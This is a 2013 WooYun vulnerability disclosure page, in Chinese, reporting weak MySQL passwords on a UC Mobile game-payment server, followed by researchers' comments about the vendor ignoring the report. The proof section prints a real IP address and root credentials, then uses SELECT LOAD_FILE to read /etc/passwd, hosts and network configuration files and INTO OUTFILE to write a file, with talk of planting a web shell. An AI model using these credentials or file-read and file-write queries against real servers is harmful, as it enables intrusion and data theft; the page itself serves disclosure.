当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-042097

漏洞标题：自动化枚举系列#1 UC某服务弱口令导致可内网渗透

相关厂商：UC Mobile

漏洞作者： 猪猪侠

提交时间：2013-11-05 23:08

修复时间：2013-11-10 23:09

公开时间：2013-11-10 23:09

漏洞类型：服务弱口令

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-11-05： 细节已通知厂商并且等待厂商处理中
2013-11-10： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

由于各种业务系统自身的业务特性，会开放许多接口便于数据处理，如果接口或功能未进行严谨的安全控制或判断，将会促进骇客加快攻击业务系统的过程，大大降低了骇客发现威胁的人力成本。
随着模块化的自动化攻击工具包越来越趋向完善，将给业务或数据带来最大的威胁。

详细说明：

#1 漏洞描述
IP: 121.14.161.196 端口：3306 存在mysql弱口令
用户：root 密码：root
用户：pay 密码：paypw
服务器同时对外开放了WEB服务
http://pay.uctest2.ucweb.com:8039/role.jsp
利用MYSQL的into outfile功能，或许可以写入一个SHELL？

/*Server Information For - root@121.14.161.196*/ 
-------------------------------------------------
MySQL Version                 : 5.1.54-log
Host                          : 121.14.161.196
User                          : root
Port                          : 3306
Server Default Charset        : utf8
/*SHOW VARIABLES Output*/
---------------------------
Variable_name                            Value                                                                                      
---------------------------  -------------------------------
auto_increment_increment                 1                                                                                          
auto_increment_offset                    1                                                                                          
autocommit                               ON                                                                                         
automatic_sp_privileges                  ON                                                                                         
back_log                                 600                                                                                        
basedir                                  /home/mysql/mysql/                                                                         
big_tables                               OFF                                                                                        
binlog_cache_size                        1048576                                                                                    
binlog_direct_non_transactional_updates  OFF                                                                                        
binlog_format                            MIXED                                                                                      
bulk_insert_buffer_size                  67108864                                                                                   
character_set_client                     utf8                                                                                       
character_set_connection                 utf8                                                                                       
character_set_database                   utf8                                                                                       
character_set_filesystem                 binary                                                                                     
character_set_results                    utf8                                                                                       
character_set_server                     utf8                                                                                       
character_set_system                     utf8                                                                                       
character_sets_dir                       /home/mysql/mysql/share/mysql/charsets/                                                    
collation_connection                     utf8_general_ci                                                                            
collation_database                       utf8_general_ci                                                                            
collation_server                         utf8_general_ci                                                                            
completion_type                          0                                                                                          
concurrent_insert                        1                                                                                          
connect_timeout                          10                                                                                         
datadir                                  /home/mysql/data/                                                                          
date_format                              %Y-%m-%d                                                                                   
datetime_format                          %Y-%m-%d %H:%i:%s                                                                          
default_week_format                      0                                                                                          
delay_key_write                          ON                                                                                         
delayed_insert_limit                     100                                                                                        
delayed_insert_timeout                   300                                                                                        
delayed_queue_size                       1000                                                                                       
div_precision_increment                  4                                                                                          
engine_condition_pushdown                ON                                                                                         
error_count                              0                                                                                          
event_scheduler                          OFF                                                                                        
expire_logs_days                         8                                                                                          
flush                                    OFF                                                                                        
flush_time                               0                                                                                          
foreign_key_checks                       ON                                                                                         
ft_boolean_syntax                        + -><()~*:""&|                                                                             
ft_max_word_len                          84                                                                                         
ft_min_word_len                          4                                                                                          
ft_query_expansion_limit                 20                                                                                         
ft_stopword_file                         (built-in)                                                                                 
general_log                              OFF                                                                                        
general_log_file                         /home/mysql/log/general.log                                                                                                                                                    
hostname                                 jiuyou211


#2 承载业务
初步校验了下数据内容，发现和UC的游戏业务有关，内含多个订单、用户信息表

uc_mysql_upp.jpg

漏洞证明：

#3 读文件

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
nemo:x:500:500::/home/nemo:/bin/bash
nagios:x:501:501::/home/nagios:/bin/bash
suhz:x:502:502::/home/suhz:/bin/bash
lijian:x:503:503::/home/lijian:/bin/bash
together:x:504:504::/home/together:/bin/bash
gaozq:x:505:505::/home/gaozq:/bin/bash
zhongmj:x:506:506::/home/zhongmj:/bin/bash
paycenter:x:507:507::/home/paycenter:/bin/bash
upay:x:508:508::/home/upay:/bin/bash
gamepay:x:509:509::/home/gamepay:/bin/bash
TestEmu:x:510:510::/home/TestEmu:/bin/bash
mysql:x:511:511::/home/mysql:/bin/bash
oracle:x:514:515:Oracle software owner:/home/oracle:/bin/bash
zhuangqi:x:515:516::/home/zhuangqi:/bin/bash
lixl:x:516:517::/home/lixl:/bin/bash
play:x:517:518::/home/play:/bin/bash
payint:x:518:519::/home/payint:/bin/bash


# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1		localhost.localdomain localhost
::1		localhost6.localdomain6 localhost6
10.20.102.143   jiuyou211
192.168.3.105   hg.ucweb.local


SELECT LOAD_FILE('/etc/sysconfig/network-scripts/ifcfg-eth0')

# Intel Corporation 82574L Gigabit Network Connection
DEVICE=eth0
HWADDR=00:25:90:01:AD:18
ONBOOT=yes
IPADDR=121.14.161.196
NETMASK=255.255.255.128
GATEWAY=121.14.161.129


SELECT LOAD_FILE('/etc/sysconfig/network-scripts/ifcfg-eth1')

# Intel Corporation 82574L Gigabit Network Connection
DEVICE=eth1
HWADDR=00:25:90:01:AD:19
ONBOOT=yes
IPADDR=10.20.102.143
NETMASK=255.255.255.0


# 成功写入文件
SELECT 'wooyun' INTO OUTFILE '/tmp/hello.txt'
SELECT LOAD_FILE('/tmp/hello.txt')
wooyun

修复方案：

#1 网络边界需要认真对待。
#2 安全是一个整体，保证安全不在于强大的地方有多强大，而在于真正薄弱的地方在哪里。
#3 杜绝为了方便而造成的不必要的信息泄露和弱口令。

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-11-10 23:09

厂商回复：

漏洞Rank：5 (WooYun评价)

最新状态：

2013-11-11：@猪猪侠，抱歉，事情太多忘记了三天不回复就视为忽略了，之前你发的漏洞消息我们是按最高级别20给的，忘见谅。

漏洞评价：

评论

这些评论似乎很乌云~~~思密达
  1. 2013-11-11 01:22 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3224 漏洞数:254 | 你都有那么多超级棒棒糖了，还要自由干吗？)

    @zeracker @UC Mobile给1RANK是一个态度，把漏洞偷偷补了，然后点无影响厂商忽略又是另外一个态度了！

  1. 2013-11-05 23:36 | GuoKer（ZhuLiu） ( 普通白帽子 | Rank:168 漏洞数:21 | 在校学生党的路过 霸气侧漏)

    前排抢位置，关注猪猪侠

  2. 2013-11-06 00:59 | xxw ( 路人 | Rank:29 漏洞数:18 | 中国梦)

    我擦，

  3. 2013-11-06 09:39 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名，可我没猜出密码。)

    GG Bond

  4. 2013-11-06 16:06 | 坏虾 ( 路人 | Rank:28 漏洞数:8 | From Internet,For Internet……BY：坏虾)

    这是要成为一哥的节奏

  5. 2013-11-06 16:24 | cuger ( 普通白帽子 | Rank:200 漏洞数:44 | 这个家伙很懒，什么也没留下)

    不明觉厉！静待详情！

  6. 2013-11-06 16:53 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    这是要篡权夺位的赶脚，强烈关注中

  7. 2013-11-06 18:10 | 光头强 ( 路人 | Rank:30 漏洞数:3 | 惹我光头强，揍你没商量！)

    @Jannock 一哥，有人图谋篡权夺位啦，乌云要变天了！

  8. 2013-11-10 23:46 | Spy4man ( 路人 | Rank:0 漏洞数:1 | 职业运维师..)

    mysql进程写不了shell.

  9. 2013-11-11 00:53 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3224 漏洞数:254 | 你都有那么多超级棒棒糖了，还要自由干吗？)

    @Spy4man 我要是告诉你，由于开发人员问题，把某个目录设置成了777，写进了SHELL而没披露在本次报告中，你信吗？看来最终还是得拿SHELL，曝光数据才行呀！

  10. 2013-11-11 00:54 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @猪猪侠 搞起搞起啊。这种厂商就是欠教育！！！

  11. 2013-11-11 01:01 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3224 漏洞数:254 | 你都有那么多超级棒棒糖了，还要自由干吗？)

    @zeracker 算了，这是一个典型的反面案列，厂商们一面呼吁测试要点到为止，发现问题就行，另一面如果你不点出问题的严重性，他们就可以偷偷的把漏洞补上再忽略问题了。

  12. 2013-11-11 01:01 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    白天好好教育教育这个厂商。。先睡觉

  13. 2013-11-11 01:02 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @猪猪侠 刚才不小心看到一个严重的问题...是UC某游戏的....哈哈

  14. 2013-11-11 01:17 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3224 漏洞数:254 | 你都有那么多超级棒棒糖了，还要自由干吗？)

    @zeracker 这种报复心理不可取，担心未来有一天会被别人利用（说白帽子威胁厂商）！要以就事论事的方式来处理，以后凡是发现他们的漏洞，直接用数据、隐私等实事求是的方式来描述即可（什么直接进到CEO的电脑呀，看到用户的云收藏记录呀，可以进到财务的电脑看到某些现金流，进而挖掘出一些财务作假信息等等）！

  15. 2013-11-11 01:22 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3224 漏洞数:254 | 你都有那么多超级棒棒糖了，还要自由干吗？)

    @zeracker @UC Mobile给1RANK是一个态度，把漏洞偷偷补了，然后点无影响厂商忽略又是另外一个态度了！

  16. 2013-11-11 01:25 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @猪猪侠 我只贴几张图，其他的不管。问题归问题，态度归态度，原则问题还是不会去碰的。 已经提交，NND还需要审核。++

  17. 2013-11-11 01:33 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @猪猪侠 不做死就不会死..

  18. 2013-11-11 01:33 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3224 漏洞数:254 | 你都有那么多超级棒棒糖了，还要自由干吗？)

    @zeracker 不能带着仇恨去看待：厂商与白帽子之间的对立，厂商对漏洞成果的尊重等问题，有时仇恨只会让人无意间的违背掉白帽子精神！

  19. 2013-11-11 01:35 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @猪猪侠 洗洗睡吧

  20. 2013-11-11 03:02 | 一只猿 ( 普通白帽子 | Rank:463 漏洞数:89 | 硬件与无线通信研究方向)

    认真对待每一次的安全检测。冷静

  21. 2013-11-11 07:29 | Thanos ( 路人 | Rank:10 漏洞数:2 | 结界)

    @猪猪侠 貌似这种事情已经不是什么新鲜事了，某人寿同样是如此，偷偷修复直接无视,这就要看看各位猫猫如何去看待了。

  22. 2013-11-11 09:41 | UC Mobile(乌云厂商)

    @猪猪侠，UC对安全问题一直很重视，对乌云网的发现的漏洞也是第一时间处理，但我们这次犯错，忘了在三天之类回复，导致系统自动忽略，以后不会发生类似的问题了，抱歉！

  23. 2013-11-11 13:43 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    @UC Mobile +1 uc确实不错。但是好像忽略是3天吧

  24. 2013-11-11 20:29 | Spy4man ( 路人 | Rank:0 漏洞数:1 | 职业运维师..)

    @猪猪侠 并没有质疑说拿到shell，只是说在默认情况下mysql 进程写不进web :)